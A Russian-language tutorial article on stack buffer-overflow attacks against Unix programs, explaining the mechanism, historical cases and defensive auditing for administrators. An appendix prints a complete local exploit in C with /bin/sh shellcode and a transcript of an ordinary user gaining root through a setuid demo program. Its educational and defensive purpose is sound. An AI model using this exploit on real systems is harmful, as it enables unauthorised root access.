1. Суть проблемы
2. Маловероятно, но возможно
3. Насколько реальна опасность?
4. Еще примеры
5. Как обнаружить слабые места и закрыть их?
Послесловие

Предотвращение различного рода атак, которым подвергаются современные компьютерные системы - настолько объемная тема, что часто, из-за стремления охватить ее полностью, многие публикации получаются излишне обобщенными, без конкретных рекомендаций по выявлению, проверке и обезвреживанию хакерских атак. Предлагаемая статья имеет целью заполнить этот пробел, и посвящена детальному обсуждению часто очень малопонятных атак из класса "buffer-overflow" и методов защиты от них. Речь пойдет об одной из технологий, которая сегодня используется все чаще и требует для борьбы с ней понимания работы системы и навыков программирования, лишний раз показывая, что культура программирования - вопрос не только стиля, но и безопасности. Статья ориентирована на администраторов и программистов, предпочитающих не только знать ответ на вопрос "как?", но и на вопрос "почему?".

Если вы когда-нибудь программировали на Си или Паскале, то сталкивались с ошибками типа "Memory fault - core dumped" или "General Protection Fault". Как правило, они связаны с тем, что программа попыталась получить доступ к не принадлежащей ей области памяти. Это довольно часто случается, если программист забыл, например, проверить размеры строки, заносимой в буфер, и остаток строки "въехал" в какие-то другие данные или даже в код. В защищенном режиме программа-монитор или ядро операционной системы может контролировать попытки доступа к "чужой памяти" и завершать нарушившую правила программу. Одни операционные системы делают это лучше - Unix, другие оболочки - хуже (Windows), а такие как MS-DOS, вообще не умеют ничего подобного и лишь банально зависают.

Часто такие ошибки проявляются не сразу. Предположим, программист считает, что 1024 байт, которые он выделил под временный буфер, будет вполне достаточно во всех случаях. Хорошо, если это так. Но, как показывает опыт, это допущение представляет собой потенциально слабое место в программе, которое обязательно даст о себе знать. Хорошо, если программа работает в однопользовательской ОС - как максимум, сбой приведет к зависанию компьютера; но в многопользовательской и, тем более, сетевой ОС последствия могут быть более серьезными - маленькое "допущение" способно разрушить всю систему безопасности сети, которую администратор так старательно возводил.

Самое плохое, что эти "допущения" молчат о себе достаточно долгое время, никак не проявляясь, а часто обнаруживают себя, лишь попавшись на глаза хакеру. Преувеличение? Нет. Известный вирус Морриса, поразивший в свое время тысячи компьютеров, использовал, в частности, этот алгоритм для проникновения в защищенные системы. А простое наблюдение за событиями, происходящими сегодня в области безопасности, дает все основания считать, что идет целая волна "buffer-overflow exploits" - общее название программ, которые для прорыва в систему и/или для получения привилегий суперпользователя используют неточности в контроле размеров строк и буферов.

1. Суть проблемы

Для того чтобы понять механизм работы, мы будем использовать простую программу под названием "rabbit.c":

#include 
#include 
void process(char*str)
{
        char buffer[256];
        strcpy(buffer, str);
        printf("Длина строки = %d
",
                strlen(buffer));
        return;
}
void main(int argc, 
        char*argv[])
{
        if (argc == 2)
                process(argv[1]);
        else
                printf("Usage: %s some_ 
                string
", argv[0]);
}

Подобные фрагменты программ, в которых функция принимает строку как один из нескольких аргументов, имеет локальный буфер ограниченного размера и использует вызовы типа strcpy() или sprintf(), можно встретить в большом количестве программ.

Разберемся в деталях, как в большинстве случаев происходит вызов функции process(). Итак, стек (будем считать, что он растет вверх) перед вызовом функции выглядит следующим образом:

Picture 1

Параметры функции передаются через стек - туда заносятся указатели на параметры или сами параметры (в нашем случае это один указатель на строку), а вызванная функция извлекает их оттуда. Естественно, всем этим занимается код, сгенерированный компилятором - программист не принимает участия в этом процессе. После того, как параметры занесены в стек, а процессор встречает инструкцию вызова функции, он заносит в стек некоторую информацию о текущем состоянии - как правило, это смещение следующей после команды вызова. Таким образом, функция, завершив свою работу, будет знать адрес возврата управления. В результате, во время выполнения первой строки функции стек имеет следующий вид:

Picture 2

Что происходит дальше? Функции надо запомнить указатель на текущую верхушку стека (BP), который будет использоваться в ссылке на параметры. Поэтому, независимо от архитектуры, выполняются следующие две инструкции (в качестве примера рассмотрим х86):

push bp
mov bp,sp

Теперь в верхушке стека лежит предыдущее значение регистра BP, а сам он указывает на верхушку стека и может быть использован в качестве базового регистра при ссылке на параметры.

В программе был объявлен размер буфера в 256 байт. Поскольку не использовались функции malloc() или new для выделения требуемого объема памяти, и не указывался модификатор "static", этот буфер будет зарезервирован в стеке. После всех этих операций стек имеет следующий вид:

Picture 3

После всего этого программа работает прекрасно, пока дело не доходит до вызова функции "strcpy()". Если длина строки меньше или равна длине буфера, то все пройдет хорошо, функция отработает, освободит зарезервированное пространство, восстановит регистр BP, и, наконец, вернет управление программе, которая очистит стек от переданных параметров.

Что же произойдет, если длина строки будет больше размера буфера? Поскольку strcpy() копирует все символы, пока не встретит код конца строки - "0", часть строки затрет верхнюю часть стека и, естественно, может испортить поле RETADR. Впрочем, это станет заметно не сразу - все будет работать великолепно, пока дело не дойдет до вызова return(). Управление будет передано по адресу, который хранится в поле RETADR, но поскольку адрес испорчен, программа будет продолжать выполняться в некой точке адресного пространства, отличающейся от точки вызова. Вот в этом-то месте и возникнет исключительная ситуация, и программа будет аварийно прервана, поскольку маловероятно, чтобы адрес возврата указывал на какой-то осмысленной код, причем находящийся в области памяти данной программы.

2. Маловероятно, но возможно

Однако это оказывается возможным, если кто-то специально хотел вызвать подобную ситуацию. Ведь что мешает в качестве аргумента функции передать строку специально подобранной длины, так, чтобы она содержала некоторый машинный код, причем при затирании верхушки стека в поле REDADR попадал адрес именно этого кода? После отработки функции return() управление получит новый фрагмент, что совсем не предусматривалось автором программы. Ну а этот фрагмент уже сможет выполнить произвольную операцию, обращаясь к сервису операционной системы.

Как же будет выглядеть стек после вызова strcpy()?

Picture 4

Как создается такой машинный код? Во-первых, стоит выяснить примерный адрес верхушки стека на данной машине при вызове функций, чтобы корректно сформировать адрес возврата, который попадет в поле RETADR. Как правило, это делается программой exploit с помощью вызова пустой функции, возвращающей в качестве параметра значение верхушки стека. Во-вторых, фрагмент должен быть написан таким образом, чтобы не содержать символа 0, который будет расценен как конец строки - этим символом код будет заканчиваться. Конечно, он попадет при копировании в область параметров, но хакера это, как и испорченный регистр BP, не волнует - главное, управление будет передано на чужеродный фрагмент. В-третьих, точно должны быть рассчитаны размеры буфера, чтобы все попало в нужные места и не вызвало состояния core dump, должны быть учтены размеры других переменных, стоящих между буфером и RETADR. И, наконец, в-четвертых - хакер должен уметь вызывать функции операционной системы.

Хотя задача кажется довольно нетривиальной, в ней нет ничего сложного для программиста, знающего систему. Например, подобный код для Linux, BSD-family, а также ОС Solaris, вызывающий /bin/sh и легко подстраиваемый под конкретные размеры буфера, довольно широко гуляет по Internet и может быть использован для обнаружения хакером новой дырки в программах. А это обнаружение требует лишь терпения, ибо в Internet доступны исходные тексты огромного количества программ и утилит - даже коммерческого Solaris.

3. Насколько реальна опасность?

Можно возразить, что существуют гораздо более простые способы проникновения в систему, чем упомянутый. Это не совсем так. Более простые способы часто не работают, поскольку широко известны; в данном же случае имеет место гораздо менее распространенная ситуация. Кроме этого, существует слишком большое количество программ с описанными ошибками, которые мгновенно превращаются в лазейки для хакера. Ведь данная проблема не относится к типу "дырок" в sendmail, которые закрываются раз и навсегда, а представляет собой уже некую технологию, которая может использоваться достаточно часто.

Главная же проблема заключается в глобальности - ведь программа не обращается к системным ресурсам. К стеку обращается программа пользователя, причем не к системному стеку, а к своему, что вполне естественно. Кроме того, нужно еще поискать ОС, которая проверяет, затирает ли записываемая в стек строка его верхушку. Это дело программиста и/или компилятора. На уровне ОС это невозможно детектировать, так как нарушения защиты не происходит - программа не выходит за пределы стека или сегмента.

Таким образом, метод работает везде, где:

  • есть стек;
  • имеется возможность вызвать систему через некий system call;
  • адрес возврата из процедуры кладется в стек;
  • локальные переменные размещаются в стеке;
  • возможно выполнение кода, находящегося в стеке;
  • существуют программы, выполняемые в режиме суперпользователя, доступные обычному пользователю и/или демоны, содержащие ошибки.

Как известно, этим требованиям удовлетворяют практически все операционные системы - именно поэтому проблема является столь глобальной.

4. Еще примеры

В программе rdist из BSD в одном из вызовов отсутствовала проверка на размер параметра, передаваемого из командной строки. Существует программа, которая формирует требуемый код и вызывает /usr/bin/rdist, передавая код в качестве параметра. Поскольку rdist выполняется с привилегиями суперпользователя (setuid bit), переданный код также выполнялся с привилегиями root^ и в распоряжении хакера оказывался shell с правами root.

В одной из версий POP-сервера проверка длины строки присутствовала, но не была до конца корректной - не отлавливалось переполнение при вызове sprintf(). Что это означает? Была написана программа, которая соединялась с 110-м портом (pop3-сервис) и передавала ему сформированный код, после чего pop-сервер сообщал о неверной команде sprintf() и "вываливался" в shell после return(), причем с правами суперпользователя root. В данном случае хакеру даже не требовалось иметь свой раздел на машине, чтобы прорваться на нее, да еще и с правами root.

Пресловутый вирус Морриса использовал аналогичную неточность в широко распространенной программе finger, и доказал свою работоспособность, разойдясь за несколько часов на огромное количество компьютеров в научных и военных сетях США.

Программы, написанные под X-Window, как правило, передают параметр "-display " на обработку X-библиотеке. Плохо, что в XFree86 размеры displayname не проверяются, и уже доступен код для получения root-привилегий через /usr/X11R6/bin/xterm. Но еще хуже, что код Xlib используется практически во всех X-программах.

Совсем недавно в списке рассылки freebsd-security была опубликована информация об ошибке - отсутствии проверки размера буфера - в подсистеме печати, являющейся фактическим стандартом и использующейся во всех семействах BSD, SunOS, а также входящей в состав остальных операционных систем (для совместимости). Безусловно, рано или поздно эта ошибка будет исправлена, но сколько проблем могут возникнуть до этого момента?

Очень жаль, что в последнее время примеры exploit-кода стали широкодоступны, и часто человеку (далеко не системному программисту), заметившему неточность в программе, достаточно подкорректировать лишь несколько переменных (типа BUFFER_SIZE, SKIP_VARS), чтобы получить работающую программу-бандита.

5. Как обнаружить слабые места и закрыть их?

Политику администратора по безопасности можно кратко охарактеризовать всего двумя лозунгами: "предотвращай" и "оперативно реагируй".

Несмотря на то, что сегодня существует большое количество клонов UNIX, рекомендации выглядят примерно одинаково для всех платформ, поскольку принципы используются одни и те же. Некоторые различия состоят в том, что семейство x86 изучено хакерами гораздо лучше, чем, например, Sparc или MIPS; а наличием доступных исходных текстов могут похвастаться далеко не все операционные системы. Отсутствие текстов затрудняет как взлом системы, так и исправление ошибок и изучение ее работы - как всегда, любое действие программиста и администратора может иметь неоднозначные последствия.

5.1 Предотвращай

Прежде всего, подразумевается, что в системе уже выполнены все исправления, информация о которых может быть получена у поставщика ОС. Однако пока успокаиваться рано - порой производители ОС сами не очень оперативно реагируют на обнаружение ошибок в их продуктах. Поэтому можно предложить еще несколько вариантов защиты от ошибок класса buffer-overflow exploits.

Вариант первый - если доступны исходные тексты и много свободного времени: в программах, выполняющихся с привилегиями суперпользователя (root setuid-программы; программы, вызывающиеся из inetd и т.д.), надо отыскать все вызовы функций strcpy, gets, sprintf, а, возможно, и других функций работы со строками, и проверить, не используются ли при этом локальные буферы фиксированной длины. Можно еще поискать константы типа BUFSIZ, PATH_MAX и др. Проанализировав текст, рекомендуется выполнить следующие действия.

1) Добавить проверки на длину строки.

2) Заменить strcpy, gets, sprintf etc на их аналоги для фиксированной длины - strncpy, snprintf, fgets.

3) Вместо фиксированных буферов использовать динамическое выделение памяти.

В качестве примера ошибочной программы можно привести rdist из BSD:

struct namelist * lookup(name,
 action, value)
        char *name;
        int action;
        struct namelist *value;
{
        register unsigned n;
        register char *cp;
        register struct syment *s;
        char buf[256];
        . . .
                if (action != INSERT ||
                                s->s_type != CONST) {
                        (void)sprintf(buf, "%s 
                                redefined", name);
                        yyerror(buf);

Проблема в том, что в buf фактически заносится аргумент из командной строки, длина которого не проверяется. Для того чтобы избавиться от дырки, достаточно после строки, помеченной знаком "!!!", добавить следующий небольшой фрагмент (вместо printf полезно добавить запись в файл отчета информации о происшедшем с указанием имени пользователя, вызвавшего rdist):

if (action != INSERT || 
                s->s_type != CONST) {
        if (strlen(name) > 240)
        {
                printf("The something 
                        going on...
");
                exit(1);
        }
(void)sprintf(buf, "%s 
        redefined", name);

Вариант второй - исходных текстов нет: необходимо написать сценарий, который пытается вызвать проверяемую программу, используя различные параметры достаточно большой длины. Например, строка для проверки команды xterm может выглядеть как:

/usr/bin/X11R6/xterm -display `perl "{print "A" x 5000;}"`:0

В качестве параметра формируется строка длиной в 5000 символов (как показывает практика, программисты часто используют константы BUFSIZ, FILENAME_MAX и т.д., определенные в /usr/include, а они обычно не превышают 2048 байт). Изменяя число в строке и/или анализируя исходные тексты, можно уточнить размер буфера в программе.

Если результатом выполнения этой команды будет одинокая фраза типа "Memory fault, core dump saved", то это означает, что имеется достаточно причин, чтобы:

1) снять setuid-бит с программы или запретить ее выполнение всем, кроме суперпользователя или ограниченной группы доверенных лиц;

2) найти автора программы;

3) попытаться самостоятельно исправить программу.

Но не стоит думать, что все так просто. Часто трудно избежать полного анализа текста программы, ведь никто не мешает автору использовать следующую конструкцию:

for (char *temp = buffer; *buffer; buffer++) *temp++ = *buffer;

А результат вы подлучите тот же, как если бы воспользовались стандартной функцией strcpy(). Да и метод передачи exploit-кода в программу может быть достаточно сложным. Например, для того чтобы воспользоваться дыркой в sendmail версии ниже чем 8.7.5, код передается в GECOS-поле, которое в семействе ОС BSD пользователь может менять с помощью программ chfn, chsh и chpass. Удобная, казалось бы, возможность: смена имени, информации о телефоне/офисе плюс неточность в sendmail обернулись лазейкой для хакера.

5.2. Реагируй

Администратору рекомендуется подписаться на такие списки рассылки, посвященные UNIX security, как BUGTRAQ, BoS, WDL; на стандартные уведомления CERT (Computer Emergency Response Team), из которых можно оперативно узнать о проблеме и закрыть открывшуюся лазейку в системе. Более подробную информацию о списках рассылки по компьютерной безопасности можно получить также по адресу http://www.tversu.ac.ru/wdl/maillist.html.

Несомненно, для того чтобы обнаружить атаку, стоит периодически анализировать информацию, которую записывают программы в стандартные файлы отчетов (например /var/log/messages). К счастью, имеется большое количество программ, помогающих администратору следить за его сетью и выполнять заданные ежедневные проверки.

Послесловие

Если даже вы не работаете в Unix, то не следует успокаиваться. Откуда известно, что прикладная программа, тот же MS Word, корректно проверяет все поля в DOC-файле и не начнет в один прекрасный момент после загрузки документа форматировать жесткий диск? К сожалению, на пути возможного появления вирусов подобного рода стоит сегодня лишь очень тонкая преграда, заключающаяся в малодоступности исходных текстов для продуктов под DOS/WIN, и хакеру придется проводить бессоные ночи перед отладчиком, разбираясь в работе программы.

Кроме этого, любой желающий, написав простейший пример, может убедиться, что и в NT работает такой метод проникновения в систему. Пока на Internet нет программ exploit для NT, однако это дело времени; кроме того, схема системных вызовов в этой ОС пока еще не устоялась и постоянно подвергается изменению. Так что у NT все еще впереди.

Выход один - программисты должны сразу создавать надежные программы и отвечать за их работу. И уж, как минимум, не использовать буферов и строк фиксированной длины, если нет твердой уверенности в том, что подобные фрагменты будут всегда корректно работать.


#include 
#include 
#define DEFAULT_OFFSET  50
#define BUFFER_SIZE     256
#define SKIP_VARS       4
/* Получить указатель на стек */
long get_esp(void)
{
__asm__("movl %esp,%eax
");
}
void main()
{
char *buff = NULL;
char *ptr = NULL;
int i;
/* Данный фрагмент выполняет вызов /bin/sh */
char execshell[] = 
        "xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07"
        "x89x56x0fx89x56x14x88x56x19x31xc0xb0x3b"
        "x8dx4ex0bx89xcax52x51x53x50xebx18xe8xd8"
        "xffxffxff/bin/shx01x01x01x01x02x02x02x02"
        "x03x03x03x03x9ax04x04x04x04x07x04";
/* Выделяем память */
buff = malloc(BUFFER_SIZE+16);
if(!buff)
{
        perror("Can"t allocate memory");
        exit(0);
}
ptr = buff;
/* Заполняем начало строки кодами команды NOP ("нет операции") */
for (i=0; i < BUFFER_SIZE-strlen(execshell); i++)
        *(ptr++) = 0x90;
/* Теперь копируем в строку машинный код */
for (i=0; i < strlen(execshell); i++)
        *(ptr++) = execshell[i];
/* Пропускаем все, что лежит между буфером и адресом возврата */
for (i=0; i < SKIP_VARS; i++)
        *(ptr++) = 0x90;
/* Записываем адрес возврата */
*(long *)ptr = get_esp() + DEFAULT_OFFSET;
ptr += 4;
/* Завершающий 0 */
*ptr = 0;
/* Вызов программы с сформированной строкой в качестве аргумента */
printf("%s
", buff);
execl("./rabbit", "rabbit", buff, NULL);
}
Пример компиляции и выполнения:
# id
uid=0(root) gid=0(wheel)
# gcc -o rabbit rabbit.c
# chmod u+s rabbit
# ls -l rabbit  - Итак, rabbit-root-setuid
-rwsr-xr-x 1 root  wheel 12288 Jan 1 00:01 rabbit
# su user
$ id
uid=200 (user), group = 200 (users)
        - Я - обычный пользователь
$ ./rabbit test - Программа работает нормально...
Длина строки = 4
$ gcc -o exploit exploit.c      - Подготавливаемся...
$ ./exploit     - Запускаем exploit, а тот
Длина строки = 264      - запускает rabbit
# id
uid=200(root) gid=200(users) euid=0(root)
        - Оп-ля, я суперпользователь!